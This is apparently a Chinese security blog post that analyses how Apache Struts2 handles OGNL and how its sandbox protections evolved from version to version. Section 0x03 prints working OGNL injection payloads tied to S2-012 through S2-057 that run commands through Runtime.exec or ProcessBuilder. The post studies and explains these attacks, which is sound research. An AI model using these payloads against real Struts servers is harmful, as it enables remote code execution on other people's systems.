Lucifaer's Blog.

浅析OGNL的攻防史

Word count: 4,052 / Reading time: 15 min
2019/01/16 Share

在分析Struts2漏洞的过程中就一直想把OGNL的运行机制以及Struts2对OGNL的防护机制总结一下,但是一直苦于自己对Struts2的理解不是很深刻而迟迟无法动笔,最近看了lgtm的这篇文章收获良多,就想在这篇文章的基础上总结一下目前自己对于OGNL的一些理解,希望师傅们斧正。

0x01 OGNL与Struts2

1.1 root与context

OGNL中最需要理解清楚的是root(根对象)、context(上下文)。

  • root:root可以理解为是一个java对象,表达式所规定的所有操作都是通过root来指定其对哪个对象进行操作。
  • context:context可以理解为对象运行的上下文环境,context以MAP的结构,利用键值对关系来描述对象中的属性以及值。

Struts2框架使用了标准的命名上下文(naming context,我实在是不知道咋翻译了-. -)来执行OGNL表达式。处理OGNL的最顶层对象是一个Map对象,通常称这个Map对象为context map或者context。而OGNL的root就在这个context map中。在表达式中可以直接引用root对象的属性,如果需要引用其他的对象,需要使用#标明

框架将OGNL里的context变成了我们的ActionContext,将root变成了valueStack。Struts2将其他对象和valueStack一起放在ActionContext中,这些对象包括applicationsessionrequest context的上下文映射。下面是一个图例:

1.2 ActionContext

ActionContext是action的上下文,其本质是一个MAP,简单来说可以理解为一个action的小型数据库,整个action生命周期(线程)中所使用的数据都在这个ActionContext中。而对于OGNL来说ActionContext就是充当context的,并且在框架中

这里盗一张图来说明ActionContext中存有哪些东西:

可以看到其中有三个常见的作用域requestsessionapplication

  • attr作用域则是保存着上面三个作用域的所有属性,如果有重复的则以request域中的属性为基准。
  • paramters作用域保存的是表单提交的参数。
  • VALUE_STACK,也就是常说的值栈,保存着valueStack对象,也就是说可以通过ActionContext访问到valueStack中的值。

1.3 valueStack

值栈本身是一个ArrayList,充当OGNL的root

root在源码中称为CompoundRoot,它也是一个栈,每次操作valueStack的出入栈操作其实就是对CompoundRoot进行对应的操作。每当我们访问一个action时,就会将action加入到栈顶,而提交的各种表单参数会在valueStack从顶向下查找对应的属性进行赋值。

这里的context就是ActionContext的引用,方便在值栈中去查找action的属性。

1.4 ActionContext和valueStack的关系

可以看到其实ActionContextvalueStack是“相互包含”的关系,当然准确点来说,valueStackActionContext中的一部分,而ActionContext所描述的也不只是一个OGNLcontext的代替品,毕竟它更多是为action构建一个独立的运行环境(新的线程)。而这样的关系就导致了我们可以通过valueStack访问ActionContext中的属性而反过来亦然。

其实可以用一种不是很标准的表达方式来描述这样的关系:可以把valueStack想成ActionContext的索引,你可以直接通过索引来找到表中的数据,也可以在表中找到所有数据的索引,无非是书与目录的关系罢了。

0x02 OGNL的执行

2.1 初始化ValueStack

我们从代码的角度来看看OGNL的执行流。从Struts2框架的代码中,我们可以清楚的看到OGNL的包是位于xwork2中的,而连通Struts2与xwork2的桥梁就是ActionProxy,也就是说在ActionProxy接管整个控制权前,FilterDispatcher就已经完成了对ActionContext的建立与初始化。

而具体的代码是在org.apache.struts2.dispatcher.PrepareOperations中:

在这里如果没有Context存在的话,则会调用ValueStackFactory这个接口的createValueStack方法,跟进看一下:

跟进OgnlValueStackFactory

这几个参数分别为:

跟进看一下OgnlValueStack的构造方法:

可以看到设置根、设置安全防范措施、以及调用Ognl.createDefaultContext来创建默认的Context映射:

这里我们跟到OgnlContext中看一下,有这么几个对象时比较重要的,他们规定了OGNL计算中的计算规则处理类:

  • _root:在OgnlContext内维护着的Root对象,它是OGNL主要的操作对象
  • _values:如果希望在OGNL计算时使用传入的Map作为上下文环境,OGNL依旧会创建一个OgnlContext,并将所传入的Map中所有的键值对维护在_values变量中。这个变量就被看作真正的容器,并在OGNL的计算中发挥作用。
  • ClassResolver:指定处理class loading的处理类。实际上这个处理类是用于指定OGNL在根据Class名称来构建对象时,寻找Class名称与对应的Class类之间对应关系的处理方式。在默认情况下会使用JVM的class.forName机制来处理。
  • TypeConverter:指定处理类型转化的处理类。这个处理类非常关键,它会指定一个对象属性转化成字符串以及字符串转化成Java对象时的处理方式。
  • MemberAccess:指定处理属性访问策略的处理方式。

可以看到这里的ClassResolver是有关类的寻址以及调用的,也就是常说的所谓的执行。

2.2 将现有的值和字段添加进ValueStack中(构造)

在初始化了ValueStack后,发现了后面的container.inject(stack);,这里是将依赖项注入现有的字段和方法,而在这个地方会调用com.opensymphony.xwork2.ognl.OgnlValueStack$setOgnlUtil将我们所关心的黑名单给添加进来:

然而其根本的作用是创建_memberAccess
这里可以注意到调用栈中首先是初始化了ValueStack之后再通过OgnlUtil这个API将数据和方法注入进ValueStack中,而ValueStack又是利用OgnlContext来创建的,所以会看到OgnlContext中的_memberAccesssecurityMemberAccess是同一个SecurityMemberAccess类的实例,而且内容相同,也就是说全局的OgnlUtil实例都共享着相同的设置。如果利用OgnlUtil更改了设置项(excludedClassesexcludedPackageNamesexcludedPackageNamePatterns)则同样会更改_memberAccess中的值。

这里可能不太好理解,可以看下面这几张图:

  1. 首先ValueStack本身是个OgnlContext

  2. 之后调用setOgnlUtil添加黑名单:

  3. 然后OgnlUtil中的这些值赋给SecurityMemberAccess

  4. 也就是与OgnlContext中的_memberAccess建立关系,即创建了_memberAccess

而这一点在沙箱绕过时起到了很重要的作用。

2.3 创建拦截器(Interceptor)

在之后当控制权转交给ActionProxy时会调用OgnlUtil作为操作OGNL的API,在创建拦截器(Interceptor)时会调用com.opensymphony.xwork2.config.providers.InterceptorBuilder

在这里利用工场函数来创建拦截器,跟进看一下:

也就是把设置好的黑名单赋到SecurityMemberAccess中,在当前的上下文中用以检验表达式所调用的方法是否允许被调用。

2.4 OGNL执行(利用反射调用)

说完了初始化,再来说一下所谓的OGNL执行,在这里引用一下《Struts2技术内幕》这本书的一个表,这个表主要列举了OGNL计算时所需要遵循的一些重要的计算规则和默认实现类:

-w768

接下来就跟进CompoundRootAccessor看一下:

在这里拓展了ognl.DefaultClassResovler,可以支持一些特殊的class名称。

0x03 OGNL的攻防史

回看S2系列的漏洞,每当我们找到一个可以执行OGNL表达式的点在尝试构造恶意的OGNL时都会遇到这个防护机制,在我看了lgtm这篇文章后,我就想把围绕SecurityMemberAccess的攻防历史来全部梳理一遍。

可以说所有在对于OGNL的攻防全部都是基于如何使用静态方法。Struts2的防护措施从最开始的正则,到之后的黑名单,在保证OGNL强大功能的基础上,将可能执行静态方法的利用链给切断。在分析绕过方法时,需要注意的有这么几点:

  • struts-defult.xml中的黑名单
  • com.opensymphony.xwork2.ognl.SecurityMemberAccess
  • Ognl

以下图例左边都是较为新的版本,右边为老版本。

3.1 Struts 2.3.14.1版本前

S2-012、S2-013、S3-014的出现促使了这次更新,可以说在跟新到2.3.14.1版本前,ognl的利用基本属于不设防状态,我们可以看一下这两个版本的diff,不难发现当时还没有出现黑名单这样的说法,而修复的关键在于SecurityMemberAccess

左边是2.3.14.1的版本,右边是2.3.14的版本,不难看出在这之前可以通过ognl直接更改allowStaticMethodAccess=true,就可以执行后面的静态方法了,所以当时非常通用的一种poc是:

1
(#_memberAccess['allowStaticMethodAccess']=true).(@java.lang.Runtime@getRuntime().exec('calc'))

而在2.3.14.1版本后将allowStaticMethodAccess设置成final属性后,就不能显式更改了,这样的poc显然也失效了。

3.2 Struts 2.3.20版本前

在2.3.14.1后虽然不能更改allowStaticMethodAccess了,但是还是可以通过_memberAccess使用类的构造函数,并且访问公共函数,所以可以看到当时有一种替代的poc:

1
(#p=new java.lang.ProcessBuilder('xcalc')).(#p.start())

直到2.3.20,这样的poc都可以直接使用。在2.3.20后,Struts2不仅仅引入了黑名单(excludedClasses, excludedPackageNames 和 excludedPackageNamePatterns),更加重要的是阻止了所有构造函数的使用,所以就不能使用ProcessBuilder这个payload了。

3.3 Struts 2.3.29版本前

左为2.3.29版本,右边为2.3.28版本

从黑名单中可以看到禁止使用了ognl.MemberAccessognl.DefaultMemberAccess,而这两个对象其实就是2.3.20-2.3.28版本的通用绕过方法,具体的思路就是利用_memberAccess调用静态对象DefaultMemberAccess,然后用DefaultMemberAccess覆盖_memberAccess。那么为什么说这样就可以使用静态方法了呢?
我们先来看一下可以在S2-032、S2-033、S2-037通用的poc:

1
(#_memberAccess=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(@java.lang.Runtime@getRuntime().exec('xcalc'))

我们来看一下ognl.OgnlContext@DEFAULT_MEMBER_ACCESS

看过上一节的都知道,在程序运行时在setOgnlUtil方法中将黑名单等数据赋给SecurityMemberAccess,而这就是创建_memberAccess的过程,在动态调试中,我们可以看到这两个对象的id甚至都是一样的,而SecurityAccess这个对象的父类本身就是ognl.DefaultMemberAccess,而其建立关系的过程就相当于继承父类并重写父类的过程,所以这里我们利用其父类DefaultMemberAccess覆盖_memberAccess中的内容,就相当于初始化了_memberAccess,这样就可以绕过其之前所设置的黑名单以及限制条件。

3.4 Struts 2.3.30+/2.5.2+

到了2.3.30(2.5.2)之后的版本,我们可以使用的_memberAccessDefaultMemberAccess都进入到黑名单中了,覆盖的方法看似就不行了,而这个时候S2-045的payload提供了一种新的思路:

1
(#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.excludedClasses.clear()).(#ognlUtil.excludedPackageNames.clear()).(#context.setMemberAccess(@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS)).(@java.lang.Runtime@getRuntime().exec('xcalc'))

可以看到绕过的关键点在于:

  • 利用Ognl执行流程利用container获取了OgnlUtil实例
  • 清空了OgnlUtil$excludedClasses黑名单,释放了DefaultMemberAccess
  • 利用setMemberAccess覆盖

而具体的流程可以参考2.2的内容。

3.5 Struts 2.5.16

分析过S2-057后,你会发现ognl注入很容易复现,但是想要调用静态方法造成代码执行变得很难,我们来看一下Struts2又做了哪些改动:

  • 2.5.13版本后禁止访问coontext.map

    准确来说是ognl包版本的区别,在2.5.13中利用的是3.1.15版本,在2.5.12版本中使用的是3.1.12版本:

    而这个改变是在OgnlContext中:

    不只是get方法,put和remove都没有办法访问了,所以说从根本上禁止了对context.map的访问。

  • 2.5.20版本后excludedClasses不可变了,具体的代码在这里

所以在S2-045时可使用的payload已经没有办法再使用了,需要构造新的利用方式。

文章提出了这么一种思路:

  • 没有办法使用context.map,可以调用attr,前文说过attr中保存着整个context的变量与方法,可以通过attr中的方法返回给我们一个context.map
  • 没有办法直接调用excludedClasses,也就不能使用clear方法来清空,但是还可以利用setter来把excludedClasses给设置成空
  • 清空了黑名单,我们就可以利用DefaultMemberAccess来覆盖_memberAccess,来执行静态方法了。

而这里又会出现一个问题,当我们使用OgnlUtilsetExcludedClassessetExcludedPackageNames将黑名单置空时并非是对于源(全局的OgnlUtil)进行置空,也就是说_memberAccess是源数据的一个引用,就像前文所说的,在每次createAction时都是通过setOgnlUtil利用全局的源数据创建一个引用,这个引用就是一个MemberAccess对象,也就是_memberAccess。所以这里只会影响这次请求的OgnlUtil而并未重新创建一个新的_memberAccess对象,所以旧的_memberAccess对象仍未改变。

而突破这种限制的方式就是再次发送一个请求,将上一次请求已经置空的OgnlUitl作为源重新创建一个_memberAccess,这样在第二次请求中_memberAccess就是黑名单被置空的情况,这个时候就释放了DefaultMemberAccess,就可以进行正常的覆盖以及执行静态方法。

poc为:

1
2
3
(#context=#attr['struts.valueStack'].context).(#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.setExcludedClasses('')).(#ognlUtil.setExcludedPackageNames(''))

(#context=#attr['struts.valueStack'].context).(#context.setMemberAccess(@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS)).(@java.lang.Runtime@getRuntime().exec('curl 127.0.0.1:9001'))

需要发送两次请求:

0x04 现阶段的OGNL

Struts2在 2.5.16版本后做了很多修改,截止到写文章的时候,已经更新到2.5.20,接下来我将把这几个版本的区别全部都列出来,并且说明现在绕过Ognl沙箱面临着哪些阻碍。同上一节,左边都为较新的版本,右边为较旧的版本。

4.1 2.5.17的改变(限制命名空间)

  1. 黑名单的变动,禁止访问com.opensymphony.xwork2.ognl.

    讲道理,2.5.17版本的修补真的是很暴力,直接在黑名单中加上了com.opensymphony.xwork2.ognl.也就是说我们根本没办法访问这个Struts2重写的ognl包了。

  2. 切断了动态引用的方式,需要利用构造函数生成


    不谈重写了setExcludedClassessetExcludedPackageNamePatterns,单单黑名单的改进就极大的限制了利用。

4.2 2.5.19的改进

  1. ognl包的升级,从3.1.15升级到3.1.21

  2. 黑名单改进

    ![](http://image-lucifaer.test.upcdn.net/2019/01/16/15471983666584.jpg)
    
  3. OgnlUtilsetXWorkConvertersetDevModesetEnableExpressionCachesetEnableEvalExpressionsetExcludedClassessetExcludedPackageNamePatternssetExcludedPackageNamessetContainersetAllowStaticMethodAccesssetDisallowProxyMemberAccess都从public方法变成了protected方法了:

也就是说没有办法显式调用setExcludedClassessetExcludedPackageNamePatternssetExcludedPackageNames了。

4.3 master分支的改变

  1. ognl包的升级,从3.1.21升级到3.2.10,直接删除了DefaultMemberAccess.java,同时删除了静态变量DEFAULT_MEMBER_ACCESS,并且_memberAccess变成了final:

  2. SecurityMemberAccess不再继承DefaultMemberAccess而直接转为MemberAccess接口的实现:

可以看到Struts2.5.*基本上是对Ognl的执行做出了重大的改变,DefaultAccess彻底退出了历史舞台意味着利用父类覆盖_memberAccess的利用方式已经无法使用,而黑名单对于com.opensymphony.xwork2.ognl的限制导致我们基本上没有办法利用Ognl本身的API来更改黑名单,同时_memberAccess变为final属性也使得S2-057的这种利用_memberAccess暂时性的特征而进行“重放攻击”的方式测地化为泡影。

4.4 总结

Struts2随着其不断地发展,减少了原来框架的一部分灵活性而大大的增强了其安全性,如果按照master分支的改动趋势上看,以我的理解上来说,可以说现在基本上没得搞…

0x05 Reference

CATALOG
  1. 1. 0x01 OGNL与Struts2
    1. 1.1. 1.1 root与context
    2. 1.2. 1.2 ActionContext
    3. 1.3. 1.3 valueStack
    4. 1.4. 1.4 ActionContext和valueStack的关系
  2. 2. 0x02 OGNL的执行
    1. 2.1. 2.1 初始化ValueStack
    2. 2.2. 2.2 将现有的值和字段添加进ValueStack中(构造)
    3. 2.3. 2.3 创建拦截器(Interceptor)
    4. 2.4. 2.4 OGNL执行(利用反射调用)
  3. 3. 0x03 OGNL的攻防史
    1. 3.1. 3.1 Struts 2.3.14.1版本前
    2. 3.2. 3.2 Struts 2.3.20版本前
    3. 3.3. 3.3 Struts 2.3.29版本前
    4. 3.4. 3.4 Struts 2.3.30+/2.5.2+
    5. 3.5. 3.5 Struts 2.5.16
  4. 4. 0x04 现阶段的OGNL
    1. 4.1. 4.1 2.5.17的改变(限制命名空间)
    2. 4.2. 4.2 2.5.19的改进
    3. 4.3. 4.3 master分支的改变
    4. 4.4. 4.4 总结
  5. 5. 0x05 Reference